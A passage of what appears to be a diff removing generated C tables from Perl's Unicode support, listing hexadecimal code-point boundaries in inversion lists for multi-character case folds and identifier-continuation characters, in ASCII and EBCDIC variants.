0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL__PERL_FOLDS_TO_MULTI_CHAR_invlist[] = { /* for ASCII/Latin1 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDF, - 0xE0, - 0x130, - 0x131, - 0x149, - 0x14A, - 0x1F0, - 0x1F1, - 0x390, - 0x391, - 0x3B0, - 0x3B1, - 0x587, - 0x588, - 0x1E96, - 0x1E9B, - 0x1E9E, - 0x1E9F, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD2, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE2, - 0x1FE5, - 0x1FE6, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_FOLDS_TO_MULTI_CHAR_invlist[] = { /* for EBCDIC 1047 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x59, - 0x5A, - 0x130, - 0x131, - 0x149, - 0x14A, - 0x1F0, - 0x1F1, - 0x390, - 0x391, - 0x3B0, - 0x3B1, - 0x587, - 0x588, - 0x1E96, - 0x1E9B, - 0x1E9E, - 0x1E9F, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD2, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE2, - 0x1FE5, - 0x1FE6, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_FOLDS_TO_MULTI_CHAR_invlist[] = { /* for EBCDIC 037 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x59, - 0x5A, - 0x130, - 0x131, - 0x149, - 0x14A, - 0x1F0, - 0x1F1, - 0x390, - 0x391, - 0x3B0, - 0x3B1, - 0x587, - 0x588, - 0x1E96, - 0x1E9B, - 0x1E9E, - 0x1E9F, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD2, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE2, - 0x1FE5, - 0x1FE6, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL__PERL_IDCONT_invlist[] = { /* for ASCII/Latin1 */ - 1393, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 